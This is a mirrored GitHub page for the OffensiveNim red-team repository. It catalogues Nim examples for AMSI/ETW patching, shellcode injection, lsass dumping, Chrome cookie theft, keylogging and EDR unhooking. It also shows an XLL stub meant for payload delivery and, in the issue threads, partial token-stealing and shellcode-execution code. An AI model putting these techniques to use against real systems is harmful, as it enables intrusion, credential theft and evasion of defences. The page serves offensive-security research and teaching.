GithubHelp home page GithubHelp logo

byt3bl33d3r / offensivenim Goto Github PK

View Code? Open in Web Editor NEW
2.7K 2.7K 344.0 345 KB

My experiments in weaponizing Nim (https://nim-lang.org/)

License: BSD 2-Clause "Simplified" License

Makefile 0.35% Nim 71.67% C++ 27.67% Dockerfile 0.31%

offensivenim's Introduction

OffensiveNim

OffensiveNim

My experiments in weaponizing Nim for implant development and general offensive operations.

Table of Contents

Why Nim?

  • Compiles directly to C, C++, Objective-C and Javascript.
  • Since it doesn't rely on a VM/runtime does not produce what I like to call "T H I C C malwarez" as supposed to other languages (e.g. Golang)
  • Python inspired syntax, allows rapid native payload creation & prototyping.
  • Has extremely mature FFI (Foreign Function Interface) capabilities.
  • Avoids making you actually write in C/C++ and subsequently avoids introducing a lot of security issues into your software.
  • Super easy cross compilation to Windows from *nix/MacOS, only requires you to install the mingw toolchain and passing a single flag to the nim compiler.
  • The Nim compiler and the generated executables support all major platforms like Windows, Linux, BSD and macOS. Can even compile to Nintendo switch , IOS & Android. See the cross-compilation section in the Nim compiler usage guide
  • You could technically write your implant and c2 backend both in Nim as you can compile your code directly to Javascript. Even has some initial support for WebAssembly's

Examples in this repo that work

File Description
pop_bin.nim Call MessageBox WinApi without using the Winim library
pop_winim_bin.nim Call MessageBox with the Winim libary
pop_winim_lib.nim Example of creating a Windows DLL with an exported DllMain
execute_assembly_bin.nim Hosts the CLR, reflectively executes .NET assemblies from memory
clr_host_cpp_embed_bin.nim Hosts the CLR by directly embedding C++ code, executes a .NET assembly from disk
scshell_c_embed_bin.nim Shows how to quickly weaponize existing C code by embedding SCShell (C) directly within Nim
fltmc_bin.nim Enumerates all Minifilter drivers
blockdlls_acg_ppid_spoof_bin.nim Creates a suspended process that spoofs its PPID to explorer.exe, also enables BlockDLLs and ACG
named_pipe_client_bin.nim Named Pipe Client
named_pipe_server_bin.nim Named Pipe Server
embed_rsrc_bin.nim Embeds a resource (zip file) at compile time and extracts contents at runtime
self_delete_bin.nim A way to delete a locked or current running executable on disk. Method discovered by @jonasLyk
encrypt_decrypt_bin.nim Encryption/Decryption using AES256 (CTR Mode) using the Nimcrypto library
amsi_patch_bin.nim Patches AMSI out of the current process
amsi_providerpatch_bin.nim Patches the AMSI Provider DLL (in this case MpOav.dll) to bypass AMSI. Published here
etw_patch_bin.nim Patches ETW out of the current process (Contributed by )
wmiquery_bin.nim Queries running processes and installed AVs using using WMI
out_compressed_dll_bin.nim Compresses, Base-64 encodes and outputs PowerShell code to load a managed dll in memory. Port of the orignal PowerSploit script to Nim.
dynamic_shellcode_local_inject_bin.nim POC to locally inject shellcode recovered dynamically instead of hardcoding it in an array.
shellcode_callback_bin.nim Executes shellcode using Callback functions
shellcode_bin.nim Creates a suspended process and injects shellcode with VirtualAllocEx/CreateRemoteThread. Also demonstrates the usage of compile time definitions to detect arch, os etc..
shellcode_fiber.nim Shellcode execution via fibers
shellcode_inline_asm_bin.nim Executes shellcode using inline assembly
ssdt_dump.nim Simple SSDT retrieval using runtime function table from exception directory. Technique inspired from MDSEC article
syscalls_bin.nim Shows how to make direct system calls
execute_powershell_bin.nim Hosts the CLR & executes PowerShell through an un-managed runspace
passfilter_lib.nim Log password changes to a file by (ab)using a password complexity filter
minidump_bin.nim Creates a memory dump of lsass using MiniDumpWriteDump
http_request_bin.nim Demonstrates a couple of ways of making HTTP requests
execute_sct_bin.nim .sct file Execution via GetObject()
scriptcontrol_bin.nim Dynamically execute VBScript and JScript using the MSScriptControl COM object
excel_com_bin.nim Injects shellcode using the Excel COM object and Macros
keylogger_bin.nim Keylogger using SetWindowsHookEx
memfd_python_interpreter_bin.nim Use memfd_create syscall to load a binary into an anonymous file and execute it with execve syscall.
uuid_exec_bin.nim Plants shellcode from UUID array into heap space and uses EnumSystemLocalesA Callback in order to execute the shellcode.
unhookc.nim Unhooks ntdll.dll to evade EDR/AV hooks (embeds the C code template from ired.team)
unhook.nim Unhooks ntdll.dll to evade EDR/AV hooks (pure nim implementation)
taskbar_ewmi_bin.nim Uses Extra Window Memory Injection via Running Application property of TaskBar in order to execute the shellcode.
fork_dump_bin.nim (ab)uses Window's implementation of fork() and acquires a handle to a remote process using the PROCESS_CREATE_PROCESS access right. It then attempts to dump the forked processes memory using MiniDumpWriteDump()
ldap_query_bin.nim Perform LDAP queries via COM by using ADO's ADSI provider
sandbox_process_bin.nim This sandboxes a process by setting it's integrity level to Untrusted and strips important tokens. This can be used to "silently disable" a PPL process (e.g. AV/EDR)
list_remote_shares.nim Use NetShareEnum to list the share accessible by the current user
chrome_dump_bin.nim Read and decrypt cookies from Chrome's sqlite database
suspended_thread_injection.nim Shellcode execution via suspended thread injection
dns_exfiltrate.nim Simple DNS exfiltration via TXT record queries
rsrc_section_shellcode.nim Execute shellcode embedded in the .rsrc section of the binary
token_steal_cmd.nim Steal a token/impersonate and then run a command
anti_analysis_isdebuggerpresent.nim Simple anti-analysis that checks for a debugger
sandbox_domain_check.nim Simple sandbox evasion technique, that checks if computer is connected to domain or not
Hook.nim Offensive Hooking example for MessageBoxA
anti_debug.nim Showcasing two anti debugging techniques

Examples that are a WIP

File Description
amsi_patch_2_bin.nim Patches AMSI out of the current process using a different method (WIP, help appreciated)
excel_4_com_bin.nim Injects shellcode using the Excel COM object and Excel 4 Macros (WIP)

Compiling the examples in this repo

This repository does not provide binaries, you're gonna have to compile them yourself. This repo was setup to cross-compile the example Nim source files to Windows from Linux or MacOS.

Easy Way (Recommended)

Use VSCode Devcontainers to automatically setup a development environment for you (See the Setting Up a Dev Environment section). Once that's done simply run make.

Hard way (For the bold)

Install Nim using your systems package manager (for Windows use the installer on the official website)

  • brew install nim
  • apt install nim
  • choco install nim

(Nim also provides a docker image on Dockerhub)

You should now have the nim & nimble commands available, the former is the Nim compiler and the latter is Nim's package manager.

Install the Mingw toolchain needed for cross-compilation to Windows (Not needed if you're compiling on Windows):

  • *nix: apt-get install mingw-w64
  • MacOS: brew install mingw-w64

Finally, install the magnificent Winim library, along with zippy and nimcrypto

  • nimble install winim zippy nimcrypto

Then cd into the root of this repository and run make.

You should find the binaries and dlls in the bin/ directory

Cross Compiling

See the cross-compilation section in the Nim compiler usage guide, for a lot more details.

Cross compiling to Windows from MacOs/*nix requires the mingw toolchain, usually a matter of just brew install mingw-w64 or apt install mingw-w64.

You then just have to pass the -d=mingw flag to the nim compiler.

E.g. nim c -d=mingw --app=console --cpu=amd64 source.nim

Interfacing with C/C++

See the insane FFI section in the Nim manual.

If you're familiar with csharps P/Invoke it's essentially the same concept albeit a looks a tad bit uglier:

Calling MessageBox example

type
    HANDLE* = int
    HWND* = HANDLE
    UINT* = int32
    LPCSTR* = cstring

proc MessageBox*(hWnd: HWND, lpText: LPCSTR, lpCaption: LPCSTR, uType: UINT): int32 
  {.discardable, stdcall, dynlib: "user32", importc: "MessageBoxA".}

MessageBox(0, "Hello, world !", "Nim is Powerful", 0)

For any complex Windows API calls use the Winim library, saves an insane amount of time and doesn't add too much to the executable size (see below) depending on how you import it.

Even has COM support!!!

Creating Windows DLLs with an exported DllMain

Big thanks to the person who posted this on the Nim forum.

The Nim compiler tries to create a DllMain function for you automatically at compile time whenever you tell it to create a windows DLL, however, it doesn't actually export it for some reason. In order to have an exported DllMain you need to pass --nomain and define a DllMain function yourself with the appropriate pragmas (stdcall, exportc, dynlib).

You need to also call NimMain from your DllMain to initialize Nim's garbage collector. (Very important, otherwise your computer will literally explode).

Example:

import winim/lean

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
  NimMain()
  
  if fdwReason == DLL_PROCESS_ATTACH:
    MessageBox(0, "Hello, world !", "Nim is Powerful", 0)

  return true

To compile:

nim c -d=mingw --app=lib --nomain --cpu=amd64 mynim.dll

Creating XLLs

You can make an XLL (an Excel DLL, imagine that) with an auto open function that can be used for payload delivery. The following code creates a simple for an XLL that has an auto open function and all other boilerplate code needed to compile as a link library. The POC compiles as a DLL, you can then change the extension to .xll and it will open in Excel and run the payload when double clicked:

#[
    Compile:
        nim c -d=mingw --app=lib --nomain --cpu=amd64 nim_xll.nim
        
    Will compile as a DLL, you can then just change the extension to .xll
]#

import winim/lean

proc xlAutoOpen() {.stdcall, exportc, dynlib.} =
    MessageBox(0, "Hello, world !", "Nim is Powerful", 0)

proc NimMain() {.cdecl, importc.}

proc DllMain(hinstDLL: HINSTANCE, fdwReason: DWORD, lpvReserved: LPVOID) : BOOL {.stdcall, exportc, dynlib.} =
  NimMain()

  return true

There are many other sneaky things that can be done with XLLs. See more examples of XLL tradecraft here.

Optimizing executables for size

Taken from the Nim's FAQ page

For the biggest size decrease use the following flags -d:danger -d:strip --opt:size

Additionally, I've found you can squeeze a few more bytes out by passing --passc=-flto --passl=-flto to the compiler. Also take a look at the Makefile in this repo.

These flags decrease sizes dramatically: the shellcode injection example goes from 484.3 KB to 46.5 KB when cross-compiled from MacOSX!

Reflectively Loading Nim Executables

Huge thanks to @Shitsecure for figuring this out!

By default, Nim doesn't generate PE's with a relocation table which is needed by most tools that reflectively load EXE's.

To generate a Nim executable with a relocation section you need to pass a few additional flags to the linker.

Specifically: --passL:-Wl,--dynamicbase

Full example command:

nim c --passL:-Wl,--dynamicbase my_awesome_malwarez.nim

Executable size difference when using the Winim library vs without

Incredibly enough the size difference is pretty negligible. Especially when you apply the size optimizations outlined above.

The two examples pop_bin.nim and pop_winim_bin.nim were created for this purpose.

The former defines the MessageBox WinAPI call manually and the latter uses the Winim library (specifically winim/lean which is only the core SDK, see here), results:

byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin
-rwxr-xr-x  1 byt3bl33d3r  25K Nov 20 18:32 pop_bin_32.exe
-rwxr-xr-x  1 byt3bl33d3r  32K Nov 20 18:32 pop_bin_64.exe
-rwxr-xr-x  1 byt3bl33d3r  26K Nov 20 18:33 pop_winim_bin_32.exe
-rwxr-xr-x  1 byt3bl33d3r  34K Nov 20 18:32 pop_winim_bin_64.exe

If you import the entire Winim library with import winim/com it adds only around ~20ish KB which considering the amount of functionality it abstracts is 100% worth that extra size:

byt3bl33d3r@ecl1ps3 OffensiveNim % ls -lah bin
-rwxr-xr-x  1 byt3bl33d3r  42K Nov 20 19:20 pop_winim_bin_32.exe
-rwxr-xr-x  1 byt3bl33d3r  53K Nov 20 19:20 pop_winim_bin_64.exe

Opsec Considerations

Because of how Nim resolves DLLs dynamically using LoadLibrary using it's FFI none of your external imported functions will actually show up in the executables static imports (see this blog post for more on this):

If you compile Nim source to a DLL, seems like you'll always have an exported NimMain, no matter if you specify your own DllMain or not (??). This could potentially be used as a signature, don't know how many shops are actually using Nim in their development stack. Definitely stands out.

Converting C code to Nim

https://github.com/nim-lang/c2nim

Used it to translate a bunch of small C snippets, haven't tried anything major.

Language Bridges

Debugging

Use the repr() function in combination with echo, supports almost all (??) data types, even structs!

See this blog post for more

Setting up a dev environment

This repository supports VSCode Devcontainers which allows you to develop in a Docker container. This automates setting up a development environment for you.

  1. Install VSCode and Docker desktop
  2. Clone this repo and open it in VSCode
  3. Install the Visual Studio Code Remote - Containers extension
  4. Open the command pallete and select Remote-Containers: Reopen in Container command

VScode will now build the Docker image (will take a bit) and put you right into your pre-built Nim dev environment!

Pitfalls I found myself falling into

  • When calling winapi's with Winim and trying to pass a null value, make sure you pass the NULL value (defined within the Winim library) as supposed Nim's builtin nil value. (Ugh)

  • To get the OS handle to the created file after calling open() on Windows, you need to call f.getOsFileHandle() not f.getFileHandle() cause reasons.

  • The Nim compiler does accept arguments in the form -a=value or --arg=value even tho if you look at the usage it only has arguments passed as -a:value or --arg:value. (Important for Makefiles)

  • When defining a byte array, you also need to indicate at least in the first value that it's a byte array, bit weird but ok (https://forum.nim-lang.org/t/4322)

Byte array in C#:

byte[] buf = new byte[5] {0xfc,0x48,0x81,0xe4,0xf0,0xff}

Byte array in Nim:

var buf: array[5, byte] = [byte 0xfc,0x48,0x81,0xe4,0xf0,0xff]

Interesting Nim libraries

Nim for implant dev links

Contributors

Virtual hug to everyone who contributed ❤️

offensivenim's People

Contributors

0xer3bus avatar 0xhop avatar alh4zr3d avatar byt3bl33d3r avatar fkadibs avatar furkanayar avatar huskyhacks avatar ilightthings avatar itaymigdal avatar jfmaes avatar nodauf avatar notoriousrebel avatar opexxx avatar s3cur3th1ssh1t avatar tycx2ry avatar vvx7 avatar whydee86 avatar x42en avatar zhangding222 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

offensivenim's Issues

Making scripts more reusable

Hey @byt3bl33d3r, I know it's a small change, but would you be open to capitolizing and standardizing areas for text replacement? Atm I think we use a bunch of different placeholders for environment specific variables and files. Would you find it helpful if I submitted a PR replacing all that text with "YOURDOMAIN", "PAYLOAD" and whatnot? Not trying to step on anyone's toes here.

Supported Nim Version

I made the mistake of updating to Nim 2.0. I could compile DLLs, but no exported functions were found when trying to call exported functions with rundll32.exe. When reviewing exported functions with dumpbin, I could see DllMain, but it was not being called. Why? Didn't have the time to look into it. Returning to Nim 1.6.14, everything is working.

Wanted to give a heads up if anyone runs into a similar issue. To install a specific version of nim, you can do the following.

  1. Download choosenim from https://github.com/dom96/choosenim/releases
    • Choose release for your OS
  2. Run the following command to install the latest release prior to 2.0. Change the command to match your download.
    • ./choosenim-0.8.4_linux_amd64 1.6.14
  3. Rejoice, for now all is happy with the world.

Load (0x80131604) [CLRError]

C:\Users\Administrator\Downloads\nim-1.4.4\OffensiveNim-master\src\execute_assembly_bin.nim(15) execute_assembly_bin
C:\Users\Administrator.nimble\pkgs\winim-3.6.0\winim\clr.nim(648) load
C:\Users\Administrator.nimble\pkgs\winim-3.6.0\winim\clr.nim(322) invoke
C:\Users\Administrator.nimble\pkgs\winim-3.6.0\winim\clr.nim(273) invoke
C:\Users\Administrator.nimble\pkgs\winim-3.6.0\winim\clr.nim(208) clrError
Error: unhandled exception: unable to invoke specified member: Load (0x80131604) [CLRError]

[Contribution]: steal token

Hey I was wondering if I could get your help with this one. I have tried to expand on what you have already done and been working on steal_token module for offensive Nim. Here is what I have so far:


import winim
import strutils

proc toString(chars: openArray[WCHAR]): string =
    result = ""
    for c in chars:
        if cast[char](c) == '\0':
            break
        result.add(cast[char](c))

proc GetLsassPid(name: string): int =
    var 
        entry: PROCESSENTRY32
        hSnapshot: HANDLE

    entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
    hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
    defer: CloseHandle(hSnapshot)

    if Process32First(hSnapshot, addr entry):
        while Process32Next(hSnapshot, addr entry):
            if entry.szExeFile.toString == name:
                return int(entry.th32ProcessID)

    return 0

#proc GetTokenInformation(TokenHandle: HANDLE;
#                          TokenInformationClass: TOK_INFO_CLASS;
#                          TokenInformation: LPVOID;
#                          TokenInformationLength: DWORD; ReturnLength: PDWORD): WINBOOL {.
#    stdcall, dynlib: "advapi32", importc: "GetTokenInformation".}

when isMainModule:
    var name: string = readLine(stdin)
    let processId: int = GetLsassPid(name)
    if not bool(processId):
        echo "[X] Unable to find: ", name, " process"
        quit(1)
    else:
        echo "Found: ", name, " with PID: ", processId

    var
      process_token: HANDLE
      duplicateTokenHandle: HANDLE

    var hProcess: HANDLE = OpenProcess(MAXIMUM_ALLOWED, false, cast[DWORD](processId));
    if not (bool)hProcess:
      raise newException(Exception, "Cannot open process ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening handle on: ", name, " ", (bool)hProcess
      echo "    \\-- Handle ID is: ", hProcess  

    var getToken: HANDLE = OpenProcessToken(hProcess, MAXIMUM_ALLOWED, cast[PHANDLE](addr(process_token)))
    if not bool(getToken):
      raise newException(Exception, "Cannot query tokens ($1)" % [$GetLastError()])
    else:
      echo "Succeded opening process token: ", (bool)getToken
      echo "    \\-- Handle ID is: ", getToken  
      echo "    \\-- Process Token ID is: ", process_token  

    # This is failing with error 1346: Either a required impersonation level was not provided, or the provided impersonation level is invalid.
    var tokenDuplication: HANDLE = DuplicateTokenEx(process_token, cast[DWORD](MAXIMUM_ALLOWED), NULL, cast[SECURITY_IMPERSONATION_LEVEL](SecurityImpersonation), cast[TOKEN_TYPE](tokenPrimary), cast[PHANDLE](addr(duplicateTokenHandle)))
    if not bool(tokenDuplication):
      raise newException(Exception, "Cannot duplicate tokens ($1)" % [$GetLastError()])
    else:
      echo "TokenDuplciation status: ", bool(tokenDuplication)
         

At the moment I cannot get DuplicateTokenEx to work and I am not sure what I am doing wrong. It is failing with above error and was wondering if you could ever be so kind to take a look.

Many thanks for everything.

I should mentioned, that I executed following program with Administrative privileges.

Fail to compile chrome_dump_bin.nim

Failure to compile the chrome_dump_bin.nim binary
$ make [...]snip[...] /opt/OffensiveNim/src/chrome_dump_bin.nim(10, 22) Error: cannot open file: tiny_sqlite make: *** [Makefile:25: chrome_dump_bin.exe] Error 1

Solution:
Install tiny_sqlite via nimble and re run.
$ nimble install tiny_sqlite

release handles from processes and threads

I am not familiar with Nim but I wonder how the code should handle releasing the handles from the Windows APIs it calls.

injectCreateRemoteThread creates several handles but does not close them. The documentation for startProcess says you need to close the handle.

proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void =

    # Under the hood, the startProcess function from Nim's osproc module is calling CreateProcess() :D
    let tProcess = startProcess("notepad.exe")
    tProcess.suspend() # That's handy!
! No call to close on tProcess

    echo "[*] Target Process: ", tProcess.processID

    let pHandle = OpenProcess(
        PROCESS_ALL_ACCESS, 
        false, 
        cast[DWORD](tProcess.processID)
    )
! No call to CloseHandle on pHandle 

...
    let tHandle = CreateRemoteThread(
        pHandle, 
        NULL,
        0,
        cast[LPTHREAD_START_ROUTINE](rPtr),
        NULL, 
        0, 
        NULL
    )
! No call to CloseHandle on tHandle


image

let tProcess = startProcess("notepad.exe")

Parameter parsing question

Hi,

i´m currently playing with the code of execute_assembly_bin.nim trying to pass parameters to the .NET executable. A single parameter is successfully parsed but for two parameters its not working. Im am using the following code for parameter parsing:

import os
[...]
var cmd = ""
var i = 1
while i <= paramCount():
    cmd.add(paramStr(i))
    cmd.add(" ")
    inc(i)
echo cmd # Only for troubleshooting purpose
var arr = toCLRVariant([cmd], VT_BSTR)
assembly.EntryPoint.Invoke(nil, toCLRVariant([arr]))

To execute for example Rubeus i tried nimexecutable.exe kerberoast /nowrap which ends up in the Rubeus helpme (no recognizable parameter) but nimexecutable.exe kerberoast works fine.

@edit: Removing the cmd.add(" ") line works for one parameter, everything containing a space is not passed correctly.

Some ideas how to get this working?

Greetings

Nix name misleading

I would change everywhere in the document Nix to *nix, otherwise one thinks
that you're talking about the NixOS

why it is a advantage?

Hi there. I wonder what is the relationship between implant\c2 backend and Javascript. Can you elaborate on that a bit?

You could technically write your implant and c2 backend both in Nim as you can compile your code directly to Javascript. Even has some [initial support for WebAssembly's]

Mention -d:noRes for winim

This most likely only applies to windows.
Recently tried out injecting a x86 dll compiled with vcc and ran into problems where the dll wouldn't load. It did get loaded on some processes but not in the others.

It turned out that the dll is linked with one of winim32.res/winim64.res/winimvcc.res depending on the compiler and that gives ntstatus error value 0xC0000135 with standard loadlibrary.
I am probably missing some runtime and I am not exactly sure the reason for this, but nevertheless perhaps this should be mentioned. If not it can be left as a closed issue :)

NimMain in Dll

As stated in the doc. There's a NimMain exported in the dll which is such an obvious flaw in opsec. How to get around this?

Error Running make - memfd_python_interpreter_bin.nim

Getting the following error when running make on root directory :

/home/ubuntu/nim/OffensiveNim/src/memfd_python_interpreter_bin.nim(35, 25) Error: type mismatch: got
but expected one of:
proc cexecve(pathname: cstring; argv: ptr cstring; envp: cstring): cint
first type mismatch at position: 2
missing parameter: argv
expression: cexecve(pathName)
Makefile:26: recipe for target 'memfd_python_interpreter_bin.exe' failed
make: *** [memfd_python_interpreter_bin.exe] Error 1

Shellcode execution in same thread

I have been trying to port the "standard" way for shellcode execution in the local process to Nim (i.e., without remote process creation and/or injection). IMO this is a key tool for the offensive toolset, and example code in the OffensiveNim repository would be greatly useful and appreciated! :)

This would mean porting (either or both of) the following C code snippets for shellcode execution to Nim.

  1. Using VirtualProtect() to make the shellcode executable and executing it:
BOOL ret = VirtualProtect (shellcode, strlen(shellcode), PAGE_EXECUTE_READWRITE;oldProtect);
((void(*)(void))shellcode)();
  1. Using VirtualAlloc() to create executable memory space, moving the shellcode to this location, and executing it from there:
BOOL *exec = VirtualAlloc(0, strlen(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, strlen(shellcode));
((void (*)())exec)();

Alternatively, if Nim can be used to write directly to the .text section of the memory, the shellcode could be placed and executed from there. As such, calls to Windows APIs can be avoided altogether (see here). I was however unable to find means to write to this section directly using Nim.

I had some stabs at this, but I keep running into walls because I'm not too familiar with low-level programming. The Windows API calls seem to succeed, but I can't properly assign and execute a function pointer in Nim. If anyone got this to work some code snippets would be greatly appreciated :)

amsi patch

why not just patch the AmsiScanBuffer function with

mov eax,AMSI_CLEAN //dont remember exact constant
ret 19

?

Importing NimMain with msvc compiler fails.

The current specified way of importing NimMain from C is: proc NimMain() {.cdecl, importc.}, but it gives the error:

error C2375: 'NimMain': redefinition; different linkage
	note: see declaration of 'NimMain'

It seems the import generates this C code: N_CDECL(void, NimMain)(void); but NimMain is defined at the end of the file like so: N_LIB_EXPORT N_CDECL(void, NimMain)(void) thus the different linkage. Now It can be solved like this, albeit ugly:

proc NimMain() {.cdecl, importc, noDecl.}
{.emit:"N_LIB_EXPORT N_CDECL(void, NimMain)(void);".}

compile

please a one liner to compile clr_host_cpp_embed_bin.nim.
i had alot of errors with him to cpp. I checked the Readme and nim official page ... thx

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.